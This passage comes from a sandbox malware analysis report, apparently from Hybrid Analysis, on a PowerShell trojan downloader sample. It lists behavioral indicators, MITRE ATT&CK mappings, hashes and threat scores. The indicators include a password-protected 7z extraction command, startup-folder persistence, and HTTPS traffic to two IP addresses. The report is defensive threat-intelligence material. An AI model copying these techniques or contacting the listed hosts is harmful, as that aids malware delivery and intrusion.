\"COMPUTERNAME\")\n \"7z.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")\n \"neservice.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\COMPUTERNAME\\ACTIVECOMPUTERNAME\"; Key: \"COMPUTERNAME\")","id":"registry-35","level":"informative","mitre_attack_id":"T1082","name":"Reads the active computer name","origin":"Registry Access","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found string \"cannot load Mapi32.dll\" (Indicator: \"MAPI32.dll\"; File: \"00000000-00006340.00000000.164028.010C1000.00000020.mdmp\")\n Found string \"Mapi32.dll\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")\n Found string \"cannot load Mapi32.dll\" (Indicator: \"MAPI32.dll\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-571","level":"informative","mitre_attack_id":"T1137","name":"Contains reference to messaging system library (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"WlanFreeMemory\" (Indicator: \"WlanFreeMemory\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WlanGetAvailableNetworkList\" (Indicator: \"WlanGetAvailableNetworkList\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WlanEnumInterfaces\" (Indicator: \"WlanEnumInterfaces\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WlanCloseHandle\" (Indicator: \"WlanCloseHandle\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"WlanOpenHandle\" (Indicator: \"WlanOpenHandle\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-740","level":"informative","mitre_attack_id":"T1016.002","name":"Contains Wi-Fi native api calls","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-478","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to retrieve process ID (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" opened \"\\Device\\KsecDD\"","id":"api-37","level":"informative","mitre_attack_id":"T1068","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","origin":"API Call","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00004744)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00004744)\n \"neservice.exe\" called \"GetDriveTypeA\" with parameter C:\\ (UID: 00000000-00002888)","id":"api-110","level":"suspicious","mitre_attack_id":"T1082","name":"Calls an API typically used to find and list the Windows drive types","origin":"API Call","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"$63","id":"registry-215","level":"informative","mitre_attack_id":"T1497","name":"Observed a high volume of repeated registry API calls (API Hammering)","origin":"Registry Access","relevance":7,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetTickCount@KERNEL32.DLL at 00000000-00006340-16389-159-010C579B\n GlobalMemoryStatus@KERNEL32.DLL at 00000000-00006340-16389-198-010C8732\n GetTickCount@KERNEL32.DLL at 00000000-00006340-16389-391-010D1072\n GetTickCount@KERNEL32.DLL at 00000000-00006340-16389-395-010D1110\n GetTickCount@KERNEL32.DLL at 00000000-00006340-16389-434-010D3A5C\n GetTickCount@KERNEL32.DLL at 00000000-00006340-16389-1037-010F1CCE","id":"stream-87","level":"informative","mitre_attack_id":"T1497","name":"Contains ability to detect virtual environment (API)","origin":"Hybrid Analysis Technology","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"RtlGetVersion@NTDLL.DLL at 00000000-00006340-16389-180-010C800F\n RtlGetVersion@NTDLL.DLL at 00000000-00006340-16389-533-010D6E7F\n GetVersionExW@KERNEL32.DLL at 00000000-00006340-16389-1035-010F1923","id":"stream-3","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to query the machine version","origin":"Hybrid Analysis Technology","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-248","level":"informative","mitre_attack_id":"T1124","name":"Contains ability to retrieve machine timezone (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5B18SBUM9VWE1WPZTZMP.TEMP\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\5B18SBUM9VWE1WPZTZMP.temp\"\n \"powershell.exe\" trying to touch file \"\\Device\\HarddiskVolume2\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\\"\n \"powershell.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF267e3f.TMP\"","id":"api-169","level":"informative","mitre_attack_id":"T1083","name":"Tries to access recent files","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"\"powershell.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"neservice.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")","id":"registry-67","level":"informative","mitre_attack_id":"T1543.003","name":"Creates or modifies windows services","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$64","id":"api-6","level":"suspicious","mitre_attack_id":"T1083","name":"Reads configuration files (.ini files)","origin":"API Call","relevance":4,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Process \"7z.exe\" with commandline \"x at.7z -pppp -aoa -y\" (UID: 00000000-00000400)","id":"target-65","level":"malicious","mitre_attack_id":"T1027","name":"Use of archive tools for protected file compression/decompression detected (often used to hide payload)","origin":"Monitored Target","relevance":7,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"Assembly shows XOR instruction xor esi\n eax in Stream UID: 00000000-00006340-16389-159-010C579B\n Assembly shows XOR instruction xor eax\n edi in Stream UID: 00000000-00006340-16389-452-010D5279","id":"stream-139","level":"informative","mitre_attack_id":"T1027.005","name":"Contains XOR operation loops [Stream disassembly]","origin":"Hybrid Analysis Technology","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Spawned process \"7z.exe\" with commandline \"x at.7z -pppp -aoa -y\" (UID: 00000000-00000400)\n Spawned process \"neservice.exe\" (UID: 00000000-00002888)\n Spawned process \"7z.exe\" with commandline \"\"%APPDATA%\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\"\" (UID: 00000000-00006340)","id":"target-25","level":"informative","mitre_attack_id":"T1057","name":"Spawns new processes","origin":"Monitored Target","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\%s\" (Indicator: \"microsoft\\windows\\currentversion\\app paths\") in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp\n \"Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{C412F191-BB15-4e40-9CCC-97E571D2C6BF}\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp\n \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\{3F709462-4AD7-482F-8761-C6ED6AD145A1}\" (Indicator: \"microsoft\\windows\\currentversion\\uninstall\") in Source: 00000000-00002888.00000002.167735.11188000.00000002.mdmp","id":"string-96","level":"informative","mitre_attack_id":"T1012","name":"Found registry key string for installed applications","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SystemParametersInfoA\" (Indicator: \"SystemParametersInfo\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-132","level":"informative","mitre_attack_id":"T1098","name":"Contains ability to modify the user configuration/privilege (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"$65","id":"string-114","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\ATL.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\atl.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MSCOREE.DLL\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\mscoree.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\imm32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\KernelBase.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\ole32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\oleaut32.dll\"\n \"powershell.exe\" trying to touch file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\FLTLIB.DLL\"","id":"api-263","level":"informative","mitre_attack_id":"T1083","name":"Touches files","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-189","level":"informative","mitre_attack_id":"T1529","name":"Contains ability to reboot/shutdown the operating system (API string)","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found reference to API \"RegisterServiceCtrlHandlerExA\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"RegisterServiceCtrlHandlerA\" (Indicator: \"RegisterServiceCtrlHandler\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-199","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to create a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$66","id":"binary-92","level":"informative","mitre_attack_id":"T1027.005","name":"XOR operations in executable file detected","origin":"Binary File","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"$67","id":"string-625","level":"informative","mitre_attack_id":"T1083","name":"References Windows file paths for DLLs (possible dropped files)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"file/memory contains long string with (Indicator: \"Set-Location\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")\n Found string \"Set-Location \"$env:LOCALAPPDATA\\Nfservice\"\" (Indicator: \"Set-Location\"; File: \"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542.bin\")","id":"string-395","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to set/modify configuration (Powershell command string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00004744)","id":"api-297","level":"informative","mitre_attack_id":"T1003","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$68","id":"binary-0","level":"informative","mitre_attack_id":"T1105","name":"Dropped files","origin":"Binary File","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$69","id":"api-12","level":"informative","mitre_attack_id":"T1012","name":"Monitors specific registry key for changes","origin":"API Call","relevance":4,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Found strings \"svchost.exe,csrss.exe,spoolsv.exe,winlogon.exe,wininit.exe\" (Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-455","level":"informative","mitre_attack_id":"T1569.002","name":"Contains reference to multiple windows system processes","origin":"File/Memory","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$6a","id":"api-153","level":"suspicious","mitre_attack_id":"T1016","name":"Calls an API typically used to retrieves adapter information","origin":"API Call","relevance":5,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-220","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to create/control drivers (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"WinExec\" (Indicator: \"WinExec\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"ShellExecuteA\" (Indicator: \"ShellExecute\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-240","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to execute an application (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthiness","description":"Found reference to API \"SetupDiGetClassDevsA\" (Indicator: \"SetupDiGetClassDevs\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-253","level":"informative","mitre_attack_id":"T1497","name":"Contains ability to detect presence of virtual environment (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"\"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\NESERVICE.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\")\n \"powershell.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\APP PATHS\\POWERSHELL.EXE\"; Key: \"DONTUSEDESKTOPCHANGEROUTER\")\n \"neservice.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{3F709462-4AD7-482F-8761-C6ED6AD145A1}\")\n \"neservice.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{C412F191-BB15-4E40-9CCC-97E571D2C6BF}\")\n \"neservice.exe\" (Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\")\n \"neservice.exe\" (Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\UNINSTALL\\{787DFE02-CC6C-4AAC-B455-166BBEE4C5AF}\")","id":"registry-55","level":"informative","mitre_attack_id":"T1518","name":"Reads the registry for installed applications","origin":"Registry Access","relevance":10,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"\"powershell.exe\" loaded module \"%WINDIR%\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll\" at 46050000","id":"module-3","level":"informative","mitre_attack_id":"T1129","name":"Loads the .NET runtime environment","origin":"Loaded Module","sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"HTTPS traffic to \"87.120.93.69\" on port \"443\"\n HTTPS traffic to \"87.120.93.67\" on port \"443\"","id":"network-38","level":"informative","mitre_attack_id":"T1573","name":"Uses HTTPS for communication","origin":"Network Traffic","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}\n \"neservice.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","id":"api-108","level":"informative","mitre_attack_id":"T1082","name":"Calls an API typically used to retrieve information about the current system","origin":"API Call","relevance":3,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: HTTP requests contain Base64 strings","id":"summary-32","level":"informative","mitre_attack_id":"T1140","name":"Shows ability to deobfuscate/decode files or information","origin":"Indicator Combinations","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$6b","id":"string-721","level":"informative","mitre_attack_id":"T1055.015","name":"Able to visualize and control listed components (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"StartServiceA\" (Indicator: \"StartService\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartServiceCtrlDispatcher\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"StartServiceCtrlDispatcherA\" (Indicator: \"StartService\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-209","level":"informative","mitre_attack_id":"T1543.003","name":"Contains ability to start a service (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$6c","id":"api-243","level":"informative","mitre_attack_id":"T1083","name":"Reads files","origin":"API Call","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-205","level":"informative","mitre_attack_id":"T1497.003","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.009B2000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-316","level":"informative","mitre_attack_id":"T1489","name":"Contains ability to terminate a process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetSetOptionA\" (Indicator: \"InternetSetOption\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp\")","id":"string-453","level":"informative","mitre_attack_id":"T1071.001","name":"Contains ability to set options for internet handles (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002888.00000000.163893.10710000.00000002.mdmp, 00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameExA\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00002888.00000001.165813.72010000.00000002.mdmp, 00000000-00002888.00000001.165813.72691000.00000020.mdmp, 00000000-00002888.00000002.167735.11188000.00000002.mdmp\")\n Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"00000000-00006340.00000000.164028.010F9000.00000002.mdmp\")","id":"string-164","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve the fully qualified path of module (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00002888.00000002.167735.11188000.00000002.mdmp\")","id":"string-532","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve the host name of a computer (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"69846538b413ce6bc10063be","report_type":"sandbox"}]}],"stats":{"attributions":{"campaigns_count":0,"cves_count":0,"malware_families_count":1,"threat_actors_count":0,"threat_types_count":0},"av":{"malicious_count":1,"suspicious_count":0,"total_engines":26},"mitre_attacks":{"total":111},"rule_matches":{"sigma_count":0,"suricata_count":0,"yara_count":0},"sandbox_signatures":{"informative_count":310,"malicious_count":5,"suspicious_count":19,"total":334}},"summary":{"score":100,"tags":["new_domain","malicious"],"verdict":"malicious"}},"metadata":{"file_info":{"file_name":"sus.ps1","file_size":909,"file_type":["powershell","ps"],"file_type_id":"ps1"},"hashes":{"imphash":"Unknown","md5":"a772f8fc304311f31316c949acd2236a","sha1":"4df88bdd12ac3b926d21bccce6b8501bc0c401d3","sha256":"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542","sha512":"7633a45144f8680539440d03044128b1be8fc55c5b28a229483970c93dceff16c6a43f46460b29fb310fe0870b7ddf0528e5f6f3b9c02604bdec947fe6c25897","ssdeep":"24:1y2A4s9+NdgXTz3ZP70da2A4Mx2Ag0qGaQH6xvu2AQ2Aau+s:1lI9z3h0bM6JQcn","ssdeep_chunks":["24:1y2A4s9","24:y2A4s9+","24:2A4s9+N","24:A4s9+Nd","24:4s9+Ndg","24:s9+NdgX","24:9+NdgXT","24:+NdgXTz","24:NdgXTz3","24:dgXTz3Z","24:gXTz3ZP","24:XTz3ZP7","24:Tz3ZP70","24:z3ZP70d","24:3ZP70da","24:ZP70da2","24:P70da2A","24:70da2A4","24:0da2A4M","24:da2A4Mx","24:a2A4Mx2","24:2A4Mx2A","24:A4Mx2Ag","24:4Mx2Ag0","24:Mx2Ag0q","24:x2Ag0qG","24:2Ag0qGa","24:Ag0qGaQ","24:g0qGaQH","24:0qGaQH6","24:qGaQH6x","24:GaQH6xv","24:aQH6xvu","24:QH6xvu2","24:H6xvu2A","24:6xvu2AQ","24:xvu2AQ2","24:vu2AQ2A","24:u2AQ2Aa","24:2AQ2Aau","24:AQ2Aau+","24:Q2Aau+s","48:1y2A4s9","48:y2A4s9+","48:2A4s9+N","48:A4s9+Nd","48:4s9+Ndg","48:s9+NdgX","48:9+NdgXT","48:+NdgXTz","48:NdgXTz3","48:dgXTz3Z","48:gXTz3ZP","48:XTz3ZP7","48:Tz3ZP70","48:z3ZP70d","48:3ZP70da","48:ZP70da2","48:P70da2A","48:70da2A4","48:0da2A4M","48:da2A4Mx","48:a2A4Mx2","48:2A4Mx2A","48:A4Mx2Ag","48:4Mx2Ag0","48:Mx2Ag0q","48:x2Ag0qG","48:2Ag0qGa","48:Ag0qGaQ","48:g0qGaQH","48:0qGaQH6","48:qGaQH6x","48:GaQH6xv","48:aQH6xvu","48:QH6xvu2","48:H6xvu2A","48:6xvu2AQ","48:xvu2AQ2","48:vu2AQ2A","48:u2AQ2Aa","48:2AQ2Aau","48:AQ2Aau+","48:Q2Aau+s","24:1lI9z3h","24:lI9z3h0","24:I9z3h0b","24:9z3h0bM","24:z3h0bM6","24:3h0bM6J","24:h0bM6JQ","24:0bM6JQc","24:bM6JQcn"]},"submissions":{"first_seen":1770284339000,"last_multi_scan":1770284339000,"last_seen":1770284339000}},"overall_status":"SUCCESS","report_ids":{"sandbox_job_ids":["69846538b413ce6bc10063be"]},"schema_version":"1.0.9","sha256":"48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542","threat_score":100,"unified_at":"2026-09-16T17:30:00.384Z","unified_at_epoch_ms":1789579800384,"verdict":"malicious"}}]]}] 1b:null 1f:[["$","title","0",{"children":"Malicious UDS_TrojanDownloader_PowerShell_Agent Sample 48a683e97f9f… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 48a683e97f9f…. Malware family: UDS_TrojanDownloader_PowerShell_Agent. Threat score 100/100. 1/26 AV engines flagged this file. 5 malicious and 19 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/48a683e97f9f8cada3cbcc287632ddf8024a708ddb99e54b455b549546073542"}],["$","meta","4",{"property":"og:title","content":"Malicious UDS_TrojanDownloader_PowerShell_Agent Sample 48a683e97f9f… — Score 100/100 — Hybrid Analysis | Hybrid 